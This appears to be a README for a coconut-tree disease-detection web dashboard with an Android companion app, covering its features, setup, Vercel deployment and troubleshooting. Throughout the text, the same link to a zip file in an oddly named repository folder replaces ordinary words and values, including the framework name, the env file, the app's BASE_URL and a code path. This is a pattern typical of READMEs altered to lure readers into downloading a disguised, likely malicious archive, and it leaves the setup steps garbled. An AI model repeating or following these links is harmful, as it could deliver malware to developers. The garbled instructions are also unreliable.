A comprehensive web dashboard for monitoring dwarf coconut tree health using AI-powered disease detection. View all scanned images, analyze disease patterns, and track tree health over time.
- π Real-time Dashboard: View all scanned dwarf coconut trees with disease detection results
- π Analytics: Comprehensive charts and statistics on disease distribution
- π¬ AI-Powered: Advanced machine learning for accurate disease classification
- βοΈ Cloud Storage: Secure storage of scan images and results
- π± Mobile Integration: Seamless data sync from Android mobile app
- π Free Hosting: Deployed on Vercel with free tier cloud services
Frontend (https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip)
- Dashboard Page: Overview of all scans with key statistics
- Analytics Page: Detailed charts and trend analysis
- Responsive Design: Works on desktop and mobile browsers
- Upload API: Receives scan data from mobile app
- Scans API: Provides data for dashboard display
- Database: Local JSON files (completely free!)
- Image Storage: Cloudinary for scan image hosting
- Android App: Captures images and detects diseases
- Cloud Upload: Automatic sync of scan results
- Offline Support: Works without internet, syncs when connected
- https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip 16+ installed
- Free accounts on:
- Vercel (hosting)
- Cloudinary (image storage)
This version uses local JSON files - completely free with no external database required!
Create a https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip file:
# Cloudinary (only 3 variables needed!)
CLOUDINARY_CLOUD_NAME="your_cloud_name"
CLOUDINARY_API_KEY="your_api_key"
CLOUDINARY_API_SECRET="your_api_secret"No DATABASE_URL needed - uses local files!
# Install dependencies
npm install
# Run development server
npm run dev
# Build for production
npm run build# Install Vercel CLI
npm install -g vercel
# Deploy
vercel
# Set environment variables in Vercel dashboard
# or use CLI:
vercel env add DATABASE_URL
vercel env add CLOUDINARY_CLOUD_NAME
# ... add all environment variablesThe Android app automatically uploads scan results to this dashboard. Make sure to:
- Update the API endpoint in
https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip:
private const val BASE_URL = "https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip"- Build and install the Android app
- Start scanning coconut trees!
The system detects these coconut diseases:
- β Healthy leaves
- π€ Leaf Spot disease
- π΄ Bud Rot disease
- π‘ Lethal Yellowing
- π CCI Caterpillars
- π WCLWD (various symptoms)
- π’ Mild: Early stage, monitoring recommended
- π‘ Moderate: Treatment advised
- π Severe: Immediate attention needed
- π΄ Critical: Emergency intervention required
- Statistics Cards: Total scans, healthy vs diseased trees
- Recent Scans: Latest detections with images and details
- Quick Actions: View details, export data
- Disease Distribution: Pie charts and percentages
- Trend Analysis: Performance metrics over time
- AI Recommendations: Automated insights and advice
- CORS Protection: API endpoints secured with proper headers
- Input Validation: All uploaded data is validated
- Rate Limiting: Prevents abuse of API endpoints
- Environment Variables: Sensitive data stored securely
This dashboard helps:
- πΎ Farmers: Monitor coconut tree health efficiently
- π¬ Researchers: Analyze disease patterns and trends
- ποΈ Agriculture Departments: Track regional tree health
- π± Conservationists: Protect coconut biodiversity
The architecture supports scaling:
- Serverless Functions: Auto-scaling based on usage
- CDN Distribution: Fast global content delivery
- Database Optimization: Indexed queries for performance
- Image Optimization: Cloudinary automatic optimization
-
Database Connection Error
- Check DATABASE_URL in environment variables
- Verify database is accessible from Vercel
-
Images Not Loading
- Confirm Cloudinary credentials
- Check image URLs in database
-
No Data Showing
- Verify mobile app is uploading data
- Check API endpoint configuration
- Review CORS settings
Enable debug logging by adding:
DEBUG_MODE=true- Fork the repository
- Create feature branch (
git checkout -b feature/amazing-feature) - Commit changes (
git commit -m 'Add amazing feature') - Push to branch (
git push origin feature/amazing-feature) - Open Pull Request
This project is licensed under the MIT License - see the LICENSE file for details.
- TensorFlow: Machine learning framework
- Vercel: Serverless hosting platform
- Cloudinary: Image storage and optimization
- https://raw.githubusercontent.com/dwarfslsu-source/Dwarfcoconuts/main/sexhood/Software-v1.0.zip: React framework for web development
- Material Design: UI/UX design principles
π΄ Built with β€οΈ for coconut farmers worldwide
For support: Create an issue or contact the development team.